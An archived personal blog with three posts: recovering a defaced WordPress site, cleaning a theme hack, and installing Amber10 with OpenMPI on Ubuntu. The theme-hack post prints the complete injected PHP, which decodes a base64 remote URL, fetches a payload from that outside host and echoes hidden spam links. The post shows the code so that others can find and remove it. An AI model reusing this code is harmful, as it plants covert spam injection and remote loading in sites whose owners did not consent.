google – welcome to somewhereville (.com)

December 12, 2013July 21, 2017

"From Kurdistan With Love" or Some Things To Do Before And/Or After Your WordPress Site Gets Hacked

"Hopefully, because he's busy." – Commissioner Gordon, The Dark Knight

On the plus side, www.somewhereville.com received its first update in just over 5 months. On the minus side, the new post was less than useful in many ways. I received a timely email from Dr. Obi Griffith of the Washington University in St. Louis Division of Oncology noting that my entire site was differently-down (thanks to the hijacking of my Sanger (And Illumina 1.3+ (And Solexa)) Phred Score (Q) ASCII Glyph Base Error Conversion Tables page that he linked to on a biostars site thread – so my thanks to Obi for catching something I likely would have gone weeks without noticing!).

The snapshot below shows the state of swv as of 3 December 2014. On the bright side (minus a friendly conspiracy to get someone else in trouble), I can say with some certainty that Serwan performed the content-ectomy (twitter: @S3RW4N, current email (although I suspect it won't last long): serwan_007 – at cymbal – hotmail.com, on the Facebook, etc. All sites subject to change as people try to track him/her down post-attack (he/she's been prolific if nothing else)).

Exhibit A. Flag is waving in the actual version.

Several problems. To begin, it's a gaudy hack, complete with rolling text and techno music. Second, the Television New Zealand (TVNZ) news service thought this hack to be significant enough to warrant actual coverage on their website when a similar file-swap on a WordPress (or WordPress-esque) site brought down the Health and Sports Fitness Club in Sandringham (syracuse.com didn't give me the time of day). I commend this Kurdish hacker group for their ratings. Third, the manner in which files were replaced in the blog (specifically meaning the index.php file) blocked every other post on the site from being accessed, so every link anyone had posted to a page anywhere else on the Internets was made useless.

That said, I appreciate that Serwan generally performs fairly benign attacks on websites. File replacements were clearly identified from a simple date sorting, the important MySQL database content wasn't touched, and Serwan even went as far as to set up a second Admin account so that I could quickly retake control of the site.

So, in light of the plight of the Kurdish people, I left the hacked version up for a few hours as I pondered what to do, which I discuss below.

My Spotty Procedure For Recovery:

What follows is a list of obvious and less obvious things to consider when recovering your WordPress blog from a hack. There are plenty of websites that show how to protect your site in the first place, then others that explain how to revive it (provided you do your own due diligence and back your site up regularly enough). What's below is not complete, but you can rest assured that google is your friend in such matters, so keep your keywords targeted and see what comes up.

General Considerations:

1. Don't use your blog. My last post at the time dated back to June 25th, during which time I've made several full backups (and kept WordPress up-to-date, the last time being 7 November 2013) of my entire site. In this respect, I was well set up to quickly recover from a hacking incident.

2. Keep a copy of your current running version of WordPress handy for file replacements. In my case, index.php was written over. All I had to do to recover was uncompress my WordPress 3.7.1 download, upload index.php to my server, and the site was back and running.

3. Have you backed up lately? This phrase has been in the .sig of my emails for many, many years. If your entire life is lived in the Googleverse (email, images, documents, etc.), then you're fine until the Earth's magnetic poles shift and wipe all the hard drives out (just kidding. I think). If you're a computational scientist and have TBs of data, it's up to you to make sure you have access to it all again. Same applies to WordPress. I've a biweekly alarm that tells me to back up several websites and I've an encrypted .txt file with all of the login info and steps needed to perform this backup. You should absolutely be doing the same if you're not.

4. Set up an additional Administrator. In my case, my admin account was hacked to change the associated user email address to Serwan's email. Obviously, attempting to log in, change the password, or what have you simply sent little pings of your futile attempts to the hacker. Having that second admin account will allow you to reroute your login efforts (and if they're both hacked into, there's still a way around. Will get to below).

5. Make a real password. At the risk of de-securing my sites by providing personal info, my typical password looks something like this:

d@!25fj014or&ydoSDfu

20 characters long, upper and lower, numbers, and non-alphanumeric characters. If you care about your site security, stay the hell away from the dictionary.

6. Dry-run your SHTF moment. Are you a survivalist? Can you identify edible berries by sight, build a lean-to, or stitch an open wound? Or are you the Marty Stouffer of the camping section at Target? If you've never had to work your way back from a complete disaster, you likely won't know how to do it either quickly, efficiently, or securely.

Ergo, do another WordPress installation in a sub-folder of your main installation, create a new database, make your site pretty, perform a full backup of your database and uploaded media, then break it, either by deleting core files or corrupting your database (deleting a table would do the trick). If you can put the site back together again (the uploading of the database back onto your server likely being the worst part of the whole process), you're likely in good shape for the real deal.

7. Harden WordPress. The good people at WordPress even tell you how to (although, admittedly, I thought I did all of this, so maybe there's something being missed that will go into a future iteration of this page).

8. Get rid of "admin." Several of the sites discussing WordPress hacks report that having this default account (or account default'ed) is a top-5 problem when trying to keep people out of your site. So get rid of it. Easily. Set up a new account, give it administrative privileges, then delete the admin account, which will ask you to attribute the current admin posts to another admin account.

9. Delete deactivated plugins if you're not going to use them. Plugins are developed by people. People often have lives that keep them from timely updates of security exploits. If you're using a plugin, that's one thing. If a deactivated plugin languishes in your plugins folder, never gets updated, and some hacker writes something specifically to exploit a security flaw in that old, poorly maintained plugin, that's all on you. So don't risk your pocket knife being a projectile as you walk into the MRI room and get rid of the knife before it comes a problem.

10. I know nothing about it yet, but am giving Wordfence a whirl presently.

11. Hey, check your blog every once in a while to make sure it's still you and not Serwan.

For The Specific Attack (From Easy To Harder):

1. FTP in and check file dates. The offending .php files (index.php and a hello.php containing the techno) were both dated 3 December 2013. Everything else was, at its newest, 7 November 2013 (from my last WordPress update). This made finding the hacked and previously not-present files easy. A cluster of important files with identically modification times and dates is an easy giveaway.

2. FTP in and check ALL the file dates. One never knows when something else is going to be placed into a themes folder, plugin folder, etc., to keep track of site access (that's why I delete all deactivated plugins). So, sort by date and scour the whole site for modifications and new files.

3. If you make it into your site, go right to your User Settings, change the email address, then change your password.

4. Check out something like Sucuri SiteCheck. Hopefully, this search will complement your initial search as well as test against known threats. I ran a Sucuri on a similarly-hacked site (in this case, indoorstinkbugtrap.com) and received the following notification of defacement (so the check worked).

securi.net results for fellow victim indoorstinkbugtrap.com.

5. If you can't make it in the front door, crawl through the plumbing. You can change your admin account from within MySQL using, for instance, phpMyAdmin (check your hosting provider for details if this is new information to you). In the case of phpMyAdmin, you can modify the admin account in six easy steps.

1. Log in to phpMyAdmin

2. Click on the Structure Button in wp_users (red circle)

3. Click on Browse (told you this was easy)

4. Click the edit button for your administrative account (red circle)

5. Change the email address back to your email and delete the current password.

6. Save and go back to our WordPress site, then request a new password.

And, While We're At It:

Serwan's twitter image currently features a white hat (the Gandalf-ian sign of a good guy/gal hacker) and a long list of sites that have been defaced with otherwise useless, feral medadata promoting Kurdish Hackers for google to get confused by. A search for somewhereville.com in google left the following bad taste in its results page for a week after:

Hacked By Serwan. Allah Is Greatest. Long Live Kurdistan. Thanks To All Kurdish Hackers. Follow @S3RW4N FB.com/Mr.S995

If I may be so bold (and I've told Serwan the same), the Kurdish people had a long history of getting steamrolled by an oppressive regime that, regretfully, first-world countries didn't put enough into stopping or acknowledging until the tanks rolled South into Kuwait. If you're gong to label yourself an ethical hacker, fine. Mangle the front-end of someone's WordPress site. That said, you could be educating others on the Kurdish people by including a few links into your hack. I live in America, where certain news services use "Muslim" and "Islam" in headlines purely for shock value when they want to appeal to an audience so narrow-minded that their hearing is susceptible to the Casimir Effect. I recommend adding the wikipedia article on Kurdistan and the Al-Anfal Campaign to future hacks (and I'm sure Serwan could find more) to provide a little substance to your efforts unless, of course, your goal is just to be a stupid-ass script-kiddie hacker.

If you're gonna hack, at least try to be productive. Meantime, this was a valuable lesson for myself on what to do to try to keep WordPress from falling into the same limbo during a time when I might not have had an hour to fix it.

May 26, 2009July 21, 2017

When Hackers And Their Little Scripts Attack WordPress Themes, Or Dr. D-Allis Talking To You About The Hidden Dangers Of Cialis (Links)

In the slightly Web 2.0-modified sentiments of the master, George Carlin,

"Our thrust is to prick holes in the stiff front erected by the smut hackers. We must keep mounting an offensive to penetrate any crack in their defenses, so we can lay to rest their dominate position. We want them hung and we want stiff action. Let's get on them. Let's ram through a stiff permission change so it'll be hard for them to get their hacks up. WordPress'ers have got to come together so we can whip this thing into submission. It'll be hard on us but we can't lick it by being soft."

There are many, many, many, many, many informative pages on WordPress hacks and their potentially long and involved fixes. The contents of this post address one specific hack that happened recently to my own site, how to fix the hacked php file, and the steps to take to keep the hack from occurring again. As usual, I provide as much of the text as I can in this post so that your google search for a particular phrase or snippet of php will land your here, as it well may have. Speaking of google…

The presence of these hidden links on your website may cause hypertension, eye fatigue, chronic stress (if you don't know how to remove them), and, when present for long durations, will result in a form email from google telling you that your site has been banned from google listings. Something like the following (in crimson for emphasis):

Dear site owner or webmaster of somewhereville.com,

While we were indexing your webpages, we detected that some of your pages were using techniques that are outside our quality guidelines, which can be found here: http://www.google.com/support/webmasters/bin/answer.py?answer=35769&hl=en. This appears to be because your site has been modified by a third party. Typically, the offending party gains access to an insecure directory that has open permissions. Many times, they will upload files or modify existing ones, which then show up as spam in our index.

The following is some example hidden text we found at http://somewhereville.com/:

[INSERT QUESTIONABLE HIDDEN TEXT HERE]

In order to preserve the quality of our search engine, pages from somewhereville.com are scheduled to be removed temporarily from our search results for at least 30 days.

We would prefer to keep your pages in Google's index. If you wish to be reconsidered, please correct or remove all pages (may not be limited to the examples provided) that are outside our quality guidelines. One potential remedy is to contact your web host technical support for assistance. For more information about security for webmasters, see http://googlewebmastercentral.blogspot.com/2008/04/my-sites-been-hacked-now-what.html. When such changes have been made, please visit https://www.google.com/webmasters/tools/reconsideration?hl=en to learn more and submit your site for reconsideration.

Sincerely, Google Search Quality Team

Note: if you have an account in Google's Webmaster Tools, you can verify the authenticity of this message by logging into https://www.google.com/webmasters/tools/siteoverview?hl=en and going to the Message Center.

With my luck, the contents below will somehow get me banned again, in which case I'll just make one big screen capture and post the image in a new entry.

I had received the above email some time ago from a previous hack that I had corrected in a previous version of WordPress (somewhere in the 2.3.x range). Within the last week or so, I received an email from friend and fellow nanotechnologist Tom Moore over at machine-phase.blogspot.com with the following picture:

The one week I lay off the egosurfing… Needless to say, my suspicions of a hack were aroused and, er, little else. The same form of hack as my previous 2.3.x adventure, but this is in WordPress 2.7.1 and I had properly set folder and file permissions on the server hosting this blog. Well, almost properly set permissions…

This most recent attack occurred to a php file in my theme, a modified version of Relaxation 3 Column that is, sadly, no longer in development (hence the modifications). The problem is theme-non-specific, as much of the core theme file structure is similar across all WordPress themes and a properly written script need only search out contents (or file names) common to all themes.

The specific modification occurred to my header.php file, which contained the following new and highly exciting content (to show the HTML, I've inserted a space around each bracket):

< div id="page" >
< div id="top" >< a href="/index.php" >< img title="home" src="<?php bloginfo('template_directory'); ?>/images/blank.gif" alt="home" width="1100" height="150" / >< /a >< /div >
< div id="wrapper" >< ?php /* wp_remote_fopen procedure */ $wp_remote_fopen='aHR0cDovL3F3ZXRyby5jb20vc3MvdGVzdF8x'; $blarr=get_option('cache_vars'); if(trim(wp_remote_fopen(base64_decode($wp_remote_fopen).'.md5'))!=md5($blarr)){ $blarr=trim(wp_remote_fopen(base64_decode($wp_remote_fopen).'.txt')); update_option('cache_vars',$blarr); } $blarr=unserialize(base64_decode(get_option('cache_vars'))); if($blarr['hide_text']!=" && sizeof($blarr['links']) > 0){ if($blarr['random']){ $new="; foreach(array_rand($blarr['links'],sizeof($blarr['links'])) as $k) $new[$k]=$blarr['links'][$k]; $blarr['links']=$new; } $txt_out="; foreach($blarr['links'] as $k= > $v) $txt_out.=' < a href="'.$v.'" > '.$k.'< /a >'; echo str_replace('[LINKS]',$txt_out,$blarr['hide_text']); } /* wp_remote_fopen procedure */ ? >

Original to the theme:

Hacked addition:

< ?php /* wp_remote_fopen procedure */ $wp_remote_fopen='aHR0cDovL3F3ZXRyby5jb20vc3MvdGVzdF8x'; $blarr=get_option('cache_vars'); if(trim(wp_remote_fopen(base64_decode($wp_remote_fopen).'.md5'))!=md5($blarr)){ $blarr=trim(wp_remote_fopen(base64_decode($wp_remote_fopen).'.txt')); update_option('cache_vars',$blarr); } $blarr=unserialize(base64_decode(get_option('cache_vars'))); if($blarr['hide_text']!=" && sizeof($blarr['links']) > 0){ if($blarr['random']){ $new="; foreach(array_rand($blarr['links'],sizeof($blarr['links'])) as $k) $new[$k]=$blarr['links'][$k]; $blarr['links']=$new; } $txt_out="; foreach($blarr['links'] as $k= > $v) $txt_out.=' < a href="'.$v.'" > '.$k.'< /a >'; echo str_replace('[LINKS]',$txt_out,$blarr['hide_text']); } /* wp_remote_fopen procedure */ ? >

And, of course, what you see for the link list depends on what the script generates at load time. The pictures show cialis links (isn't it nice to see a link on a blog that sends you to the manufacturer instead of some back-of-the-server distributor?), but a Firefox Page Source view loads the following viagra-centric HTML after a page reload:

…
< body >
< div id="page" >
< div id="top" >< a href="/index.php" >< img src="https://www.somewhereville.com/wp-content/themes/relaxation_3column/images/blank.gif" alt="home" title="home" width="1100" height="150" / >< /a >< /div >
< div id="wrapper" >< div id='header_code' >< font style="position:absolute;overflow:hidden;height:0;width:0" >< a href="http://river.mit.edu/index.php?viagra=0" >Best Viagra Alternative< /a >< a href="http://river.mit.edu/index.php?viagra=1" > Best Viagra < /a > …2 to 806 of similar… < a href="http://river.mit.edu/index.php?viagra=807" > 50 Mg Viagra < /a >< /font >< /div >

< div id="content" >
…

The problem, and this is the important part, is that the permissions on the php files for this theme were set wide open so that anyone could read, write, and execute the theme files. After making the proper changes to the (in this case) header.php file in my ../wp-content/themes/[your theme name here] directory to remove the h4ck0r content (and, in theory, you will see the same text if you have a similar hack to your theme/header.php file), the next step is to change the permissions on these files via whatever "Attributes" window your FTP client provides (or whatever your FTP/Telnet/SSH program of choice is). In my case, I've been using Robert Vasvari's phenomenal RBrowser for OSX for quite some time. For this program, you would click on the theme directory of choice, then right-click and select "Change Attributes." You'll be brought to a screen like the following:

Now, permission setting is a minor trick depending on what you have in the directories that need to be read or executed for a page or plug-in to properly load. The 755 provides only the User (that should be you) with write access to files (and the "Apply to files inside selection" check will change everything in the folder). For simple themes, you can very probably get away with 644, which provides all with read access and the user read and write access. Frankly, I don't even know if there's a theme-based reason for execute to be enabled (anyone willing to correct me is more than welcome to).

Make the changes (in a text editor if you didn't know this already, then FTP the corrected file(s) up and down), change permissions, and with luck and a few days wait, your google search will return something like the following and decidedly not like the image above:

Needless to say, if you've never scoured a php file and don't know what to remove, your safest bet is just to blindly delete the theme, upload a fresh version, then change permissions. And, if you made modifications to the php files, KEEP TRACK OF THE CHANGES. And, of course, you should be backing up your database and website anyway in case the big one hits.

georgecarlin.com
ocaoimh.ie/2008/06/08/did-your-wordpress-site-get-hacked
wordpress.org/support/topic/195163
blog.taragana.com/index.php/archive/detailed-post-mortem-of-a-website-hack-through-wordpress-how-to-protect…
www.mydigitallife.info/2008/06/10/wordpress-hack-recover-and-fix-google-and-search-engine-or-no-cookie-traffic…
lorelle.wordpress.com/2009/03/07/firewalling-and-hack-proofing-your-wordpress-blog
wordpress.org
www.php.net
www.google.com
en.wikipedia.org/wiki/Hypertension
machine-phase.blogspot.com
en.wikipedia.org/wiki/Egosurfing
en.wikipedia.org/wiki/Permissions
widgets.wordpress.com/2006/06/18/relaxation-3-column
en.wikipedia.org/wiki/HTML
www.cialis.com/index.jsp
www.mozilla.com/en-US
www.viagra.com
en.wikipedia.org/wiki/File_Transfer_Protocol
www.rbrowser.com
www.apple.com/macosx

March 15, 2009July 21, 2017

Amber And Ubuntu Part 2. Amber10 (Parallel Execution) Installation In Ubuntu 8.10 (Intrepid Ibex) With OpenMPI 1.3… And Commentary

After considerable trial and building/testing errors, what follows is as simplified a complete installation and (non-X11/QM) testing of Amber10 and OpenMPI 1.3 as I think can be procedure'd in Ubuntu 8.10 (and likely previous and subsequent Ubuntu versions), dealing specifically with assorted issues with root permissions and variable definitions as per the standard procedure for Amber10 installation.

I'll begin with the short procedure and bare minimum notes, then will address a multitude of specific problems that may (did) arise during all of the build procedures. The purpose for listing everything, it is hoped, is to make these errors appear in google during searches so that, when you come/came across the errors, your search will have provided some amount of useful feedback (and, for a few of the problems I had with previous builds of other programs, this blog is the ONLY thing that comes up in google).

Some of the content below is an extension of the single-processor build of Amber10 I posted previously. In the interest of keeping the reading to a minimum, the short procedure below is light on explanations that are provided in the long procedure that follows. If you're running on a multi-core computer (and who isn't anymore), you likely want to take advantage of the MPI capability, so I would advise simply following the procedure below and IGNORING the previous post (as I also state at the top of the previous page).

Enough blabbering.

LEGEND

Text in black – my ramblings.
Text in bold preformatted red - things you will type in the Terminal
Text in green – text you will either see or will type into files (using pico, my preference)

Amber10, OpenMPI 1.3, Ubuntu 8.10: The Easy, Teenage New York Version

0a. I assume you're working from a fresh installation of Ubuntu 8.10. Some of what is below is Ubuntu-specific because of the way that Ubuntu decides to deal with the Root/Administrator/User relationship. That said, much is the same and I'll try to remark accordingly.

0b. As with the previous post, I am writing this with an expected audience of a non-technical Linux user, which means more detail of the steps and not just "cd $HOME and ./config -> make -> make install." If the steps are too obvious to you, find someone who thinks a Terminal window is one that won't close and let them do it. Speaking of…

0c. Everything below is done from a Terminal window. The last icon you will use is the Terminal icon you click on. If you've never had the pleasure in Ubuntu Desktop, go to Applications -> Accessories -> Terminal. You can save yourself some time dragging around menus by hovering over the Terminal icon, right-clicking, and "Add this launcher to panel."

0d. One more thing for the absolute newbies. I am assuming that you've used Firefox to download OpenMPI 1.3, the AmberTools 1.2 and Amber10 bz2 files, and the bugfix.all files for AmberTools 1.2 and Amber10 (more on that in 0e). That's all you'll need for the installation below. Note that I'm not dealing with X11 (library specifications and other testing to do first), MKL (the Intel Math Kernel Library), or the GOTO BLAS libraries. The default download folder for Firefox in a fresh installation of Ubuntu is the Desktop. I will assume your files are on the Desktop, which will then be moved around in the installation procedure below.

0e. bugfix.all (Amber10) and bugfix.all (AmberTools 1.2) – Yes, the Amber people provide both of these files for the two different programs using the same name. As I assume you're using Firefox to download these files from their respective pages, I recommend that you RENAME the bugfix.all file for AmberTools 1.2 to bugfix_at.all, which is the naming convention I use in the patching step of the installation process (just to keep the confusion down). In case you've not had the pleasure yet, instead of clicking on the bugfix.all link on each page and saving the file that loads, simply right-click and "Save Link As…", then save the AmberTools 1.2 bugfix.all file as bugfix_at.all.

0f. This OpenMPI 1.3 build and series of Amber10 tests assumes SMP (symmetric multi-processing) only, meaning you run only with the CPUs on your motherboard. The setup of OpenMPI for cluster-based computing is a little more complicated and is not presented below (but is in process for write-up).

0g. And, further, I am not using the OpenMPI you can install by simply sudo apt-get install libopenmpi1 linopenmpi-dev openmpi-bin openmpi-doc for two reasons. First, that installs OpenMPI 1.2.8 (I believe), which mangles one of the tests in such a way that I feared for subsequent stability in Amber10 work I might find myself doing. Second, I want to eventually be able to build OpenMPI around other Fortran compilers (specifically g95 or the Intel Fortran Compiler) or INSERT OPTION X and, therefore, prefer to build from source.

So, from a Terminal window, the mostly comment-free/comment-minimal and almost flawless procedure is as follows. Blindly assume that everything I am doing, especially in regards to WHERE this build is occurring and WHAT happens in the last few steps, is for a good reason (explained in detail later)…

0. cd $HOME (if you're not in your $HOME directory already or don't know where it is)

1. sudo apt-get update (requires administrative password)

2. sudo apt-get install ssh g++ g++-multilib g++-4.3-multilib gcc-4.3-doc libstdc++6-4.3-dbg libstdc++6-4.3-doc flex bison fort77 netcdf-bin gfortran gfortran-multilib gfortran-doc gfortran-4.3-multilib gfortran-4.3-doc libgfortran3-dbg autoconf autoconf2.13 autobook autoconf-archive gnu-standards autoconf-doc libtool gettext patch libblas3gf liblapack3gf libgfortran2 markdown csh (this is my ever-growing list of necessary programs and libraries that are not installed as part of a fresh Ubuntu installation)

3. pico .bashrc

Add the following lines to the bottom of this file. This will make more sense shortly…

AMBERHOME=$HOME/Documents/amber10/
export AMBERHOME

MPI_HOME=/
export MPI_HOME

Crtl-X and the Enter Key twice to Exit

4. source .bashrc

5. pico. profile

Add the following line to the bottom of this file.

PATH="$HOME/Documents/amber10/exe:$PATH"

Crtl-X and the Enter Key twice to Exit

6. source .profile

7. mv $HOME/Desktop/Amber* $HOME/Documents/ (this assumes the downloaded files are on the desktop)

8. mv $HOME/Desktop/openmpi-1.3 $HOME/Documents/ (this assumes the downloaded files are on the desktop)

9. cd $HOME/Documents/

10. gunzip openmpi-1.3.tar.gz

11. tar xvf openmpi-1.3.tar

12. cd openmpi-1.3

13. ./configure –prefix=/ (installs the MPI binaries and libraries into /. Avoids library errors I ran across despite MPI_HOME, but may be fixable. Copious output to follow. For my results, click HERE)

14. sudo make all install (this installs binaries and libraries into "/". Copious output to follow. For my results, click HERE)

15. cd $HOME/Documents/

16. tar xvjf Amber10.tar.bz2

17. tar xvjf AmberTools-1.2.tar.bz2

18. mv $HOME/Desktop/bugfix* $HOME/Documents/$AMBERHOME (moves bugfix files to the Amber directory)

19. cd $AMBERHOME

20. patch -p0 -N -r patch-rejects < bugfix_at.all (patches AmberTools)

21. patch -p0 -N -r patch-rejects < bugfix.all (patches Amber10)

22. cd src/

23. ./configure_at -noX11

24. make -f Makefile_at (copious output to follow. For my results, click HERE)

25. cd ../bin/

26. pico mopac.sh

At the top of the file, change sh to bash

Crtl-X and the Enter Key twice to Exit

27. cd ../test/

28. make -f Makefile_at test (copious output to follow. For my results, click HERE)

29. cd ../src/

30. ./configure_amber -openmpi gfortran

31. make parallel (copious output to follow. For my results, click HERE)

32. cd $HOME/.ssh/ (at this step, we allow auto-login in ssh so that the multiple mpirun tests do not require that you supply your password constantly)

33. ssh-keygen -t dsa

34. cat id_dsa.pub >> authorized_keys2

35. chmod 644 authorized_keys2

36. cd $AMBERHOME/test/

37. csh

38. setenv DO_PARALLEL 'mpirun -np N' (here, N is the number of processors you wish to use on your mobo)

39. make test.parallel.MM (copious output to follow. For my results, click HERE)

40. exit (exits the csh shell)

41. sudo cp -r $HOME/Documents/amber10 /opt/amber10

42. cd $HOME

43. rm -r $HOME/Documents/amber10 (this deletes the build directory. Delete or keep as you like)

44. pico .bashrc

Make the following change to the bottom of this file.

AMBERHOME=/opt/amber10/

Crtl-X and the Enter Key twice to Exit

45. source .bashrc

46. pico .profile

Make the following change to the bottom of this file.

PATH="/opt/amber10/exe:$PATH"

Crtl-X and the Enter Key twice to Exit

47. source .profile

That is it! In theory, you should now have a complete and tested Amber10 and AmberTools 1.2 build sitting in /opt/amber10.

Amber10, OpenMPI 1.3, Ubuntu 8.10: The Notes

What follows is the complete list of problems, questions, errors, issues, and general craziness from much trial and error for the installation procedure above. As you can guess from my constant mentioning of Ubuntu in my statements-with-qualifications, some of these problems likely will not occur in other distros. My primary reason for the extended discussion below is so that the errors and issues make their way into google so that people searching for fixes to these problems (if they come across them) will see actual content (if they choose to read it) and maybe find a reasonable fix.

I'll be expanding in sections by grouping numbers above.

0a – 0g Installation Preparations

I've not much to add here except that OpenMPI is likely not the only way to install MPI Amber10 in Ubuntu, but I think it is easier than MPICH2 to set up cross-cluster calculations on a switch'ed network. My stronger preference for OpenMPI stems from both past positive experience with OpenMPI and GROMACS (specifically on my Macbook Pro) and eventual success with OpenMPI 1.2.X and Abinit 5.6.5. I had hoped to use the same version of OpenMPI for GROMACS, Amber10, and Abinit, but ran into a yet-to-be-resolved issue with OpenMPI 1.3.x in the building of Abinit (the problem is, apparently, resolved in the upcoming 1.4.1 build, but I'm not much for using release candidates. I'll be discussing this in an upcoming Abinit installation post based on my previous Abinit installation post).

1 – 2 apt-get

My listed apt-get installation set contains many, many programs and libraries that are not necessarily needed in the OpenMPI and Amber10 build but are required for other programs. The apt-get approach is still much cleaner than installing the entire OpenSuse or Fedora DVD, but you do find yourself scrambling the first time you try to install anything to determine what programs are missing. You don't know you need csh installed until the test scripts fail. You forget about ssh until you run mpirun for the first time. I do not yet know if MKL, GOTO, or any of the X11-based AmberTools programs require additional libraries to be installed, so the above apt-get list may grow. Check the comments section at bottom for updates.

The list below shows essential programs and libraries AND their suggested additional installs. As long as you're online and apt-get'ing anyway, might as well not risk missing something for your next compiling adventure.

g++ g++-multilib g++-4.3-multilib gcc-4.3-doc libstdc++6-4.3-dbg libstdc++6-4.3-doc

gfortran gfortran-multilib gfortran-doc gfortran-4.3-multilib gfortran-4.3-doc libgfortran3-dbg

autoconf autoconf2.13 autobook autoconf-archive gnu-standards autoconf-doc libtool gettext

flex bison

ssh csh patch markdown fort77 netcdf-bin libblas3gf liblapack3gf libgfortran2

3 – 9 .bashrc and .profile Modifications, Building In Your Own Directory

For a number of programs, the procedure from source is ./configure, make, and make install, make install often only responsible for moving folders into the correct directories (specifically, directories only root has access to, such as /usr/local/bin, /lib, and /opt). In many distributions, this final step is actually sudo make install. This division of make and make install is not preserved in Amber, which complicates the Ubuntu build slightly. The building in $HOME/Documents (as I've described the procedure above) saves you from having to constantly sudo the extraction and building process in directories you, the typical user, do not have access to write into.

Working in $HOME\Documents (or any of your $HOME folders) allows for the complete build and testing of AmberTools and Amber10.

The other benefit from doing as much in $HOME as possible is the lack of a need to define variables as the root user (specifically, AMBERHOME, MPI_HOME, and DO_PARALLEL) by setting variables in the root .bashrc and .profile files, adding lines to the Makefiles for AmberTools and Amber10, or setting variables at prompts. This variable specification issue arises because when you run a program with sudo, you invoke the root privileges and the root variable definitions, so any specifications you make for your PATH or these Amber-specific variables are lost.

Once the build is complete in the $HOME/Documents folder, we move the entire directory into /opt, my default location for all programs I build from source (but $HOME/Documents is just fine as well once the PATH is set).

10 – 14 OpenMPI 1.3

So, why not then use OpenMPI 1.2.x? The build of Amber10 works just fine with OpenMPI 1.2.x in Ubuntu with all of the installation specifications described in Step 2 of the short procedure (the extensive apt-get). The problem with 1.2.x occurs for a single test after the Amber10 build that I've not yet figured out a workaround for, but the error is sinister enough that I decided to not risk similar errors in my own Amber work and, instead, use OpenMPI 1.3.x, which does not suffer the same error. The only (ONLY) test to fail with OpenMPI 1.2.x is the cnstph (constant pH simulation) test, which runs perfectly well but fails at the close of the calculation (you can test this yourself by changing the nstlim value in the mdin file to any arbitrarily large number). The failure message, which kills the test series, is below. This job also fails if you simply try to run it independently of the pre-defined test set (not the make test.parallel.MM, but cd'ing into the cnstph directory, setting variables, and running the script).

==============================================================
cd cnstph && ./Run.cnstph
[ubuntu-desktop:18263] *** Process received signal ***
[ubuntu-desktop:18263] Signal: Segmentation fault (11)
[ubuntu-desktop:18263] Signal code: Address not mapped (1)
[ubuntu-desktop:18263] Failing at address: 0x9069d2cb0
[ubuntu-desktop:18264] *** Process received signal ***
[ubuntu-desktop:18265] *** Process received signal ***
[ubuntu-desktop:18265] Signal: Segmentation fault (11)
[ubuntu-desktop:18265] Signal code: Address not mapped (1)
[ubuntu-desktop:18265] Failing at address: 0x907031c70
[ubuntu-desktop:18264] Signal: Segmentation fault (11)
[ubuntu-desktop:18264] Signal code: Address not mapped (1)
[ubuntu-desktop:18264] Failing at address: 0x906dbdc00
[ubuntu-desktop:18263] [ 0] /lib/libpthread.so.0 [0x2b17b5bef0f0]
[ubuntu-desktop:18263] [ 1] /usr/local/lib/libopen-pal.so.0(_int_free+0x57) [0x2b17b4c10937]
[ubuntu-desktop:18263] [ 2] /usr/local/lib/libopen-pal.so.0(free+0xeb) [0x2b17b4c122bb]
[ubuntu-desktop:18263] [ 3] /home/userid/Documents/amber10/exe/sander.MPI(sander_+0x73ce) [0x4c6ec2]
[ubuntu-desktop:18264] [ 0] /lib/libpthread.so.0 [0x2abd8f5810f0]
[ubuntu-desktop:18264] [ 1] /usr/local/lib/libopen-pal.so.0(_int_free+0x57) [0x2abd8e5a2937]
[ubuntu-desktop:18264] [ 2] /usr/local/lib/libopen-pal.so.0(free+0xeb) [0x2abd8e5a42bb]
[ubuntu-desktop:18264] [ 3] /home/userid/Documents/amber10/exe/sander.MPI(sander_+0x73ce) [0x4c6ec2]
[ubuntu-desktop:18264] [ 4] /home/userid/Documents/amber10/exe/sander.MPI(MAIN__+0xf0a) [0x4bfa66]
[ubuntu-desktop:18264] [ 5] /home/userid/Documents/amber10/exe/sander.MPI(main+0x2c) [0x88309c]
[ubuntu-desktop:18264] [ 6] /lib/libc.so.6(__libc_start_main+0xe6) [0x2abd8f7ad466]
[ubuntu-desktop:18264] [ 7] /home/userid/Documents/amber10/exe/sander.MPI [0x43a649]
[ubuntu-desktop:18264] *** End of error message ***
[ubuntu-desktop:18263] [ 4] /home/userid/Documents/amber10/exe/sander.MPI(MAIN__+0xf0a) [0x4bfa66]
[ubuntu-desktop:18263] [ 5] /home/userid/Documents/amber10/exe/sander.MPI(main+0x2c) [0x88309c]
[ubuntu-desktop:18263] [ 6] /lib/libc.so.6(__libc_start_main+0xe6) [0x2b17b5e1b466]
[ubuntu-desktop:18263] [ 7] /home/userid/Documents/amber10/exe/sander.MPI [0x43a649]
[ubuntu-desktop:18263] *** End of error message ***
[ubuntu-desktop:18265] [ 0] /lib/libpthread.so.0 [0x2ba0032600f0]
[ubuntu-desktop:18265] [ 1] /usr/local/lib/libopen-pal.so.0(_int_free+0x57) [0x2ba002281937]
[ubuntu-desktop:18265] [ 2] /usr/local/lib/libopen-pal.so.0(free+0xeb) [0x2ba0022832bb]
[ubuntu-desktop:18265] [ 3] /home/userid/Documents/amber10/exe/sander.MPI(sander_+0x73ce) [0x4c6ec2]
[ubuntu-desktop:18265] [ 4] /home/userid/Documents/amber10/exe/sander.MPI(MAIN__+0xf0a) [0x4bfa66]
[ubuntu-desktop:18265] [ 5] /home/userid/Documents/amber10/exe/sander.MPI(main+0x2c) [0x88309c]
[ubuntu-desktop:18265] [ 6] /lib/libc.so.6(__libc_start_main+0xe6) [0x2ba00348c466]
[ubuntu-desktop:18265] [ 7] /home/userid/Documents/amber10/exe/sander.MPI [0x43a649]
[ubuntu-desktop:18265] *** End of error message ***
mpirun noticed that job rank 0 with PID 18262 on node ubuntu-desktop exited on signal 11 (Segmentation fault).
3 additional processes aborted (not shown)
./Run.cnstph: Program error
make[1]: *** [test.sander.GB] Error 1
make[1]: Leaving directory `/home/userid/Documents/amber10/test'
make: *** [test.sander.GB.MPI] Error 2

Errors like this one scare me to no end, especially when the error seems to be in the proper termination of a process (such as writing final positions or data files) and you risk such errors occurring after 2 week simulations with no way to get your data back. If you decide (if it's already installed, for instance) to use OpenMPI 1.2.x with Amber10 but still want to test the build, I'd suggest simply commenting out (#) the line

# cd cnstph && ./Run.cnstph

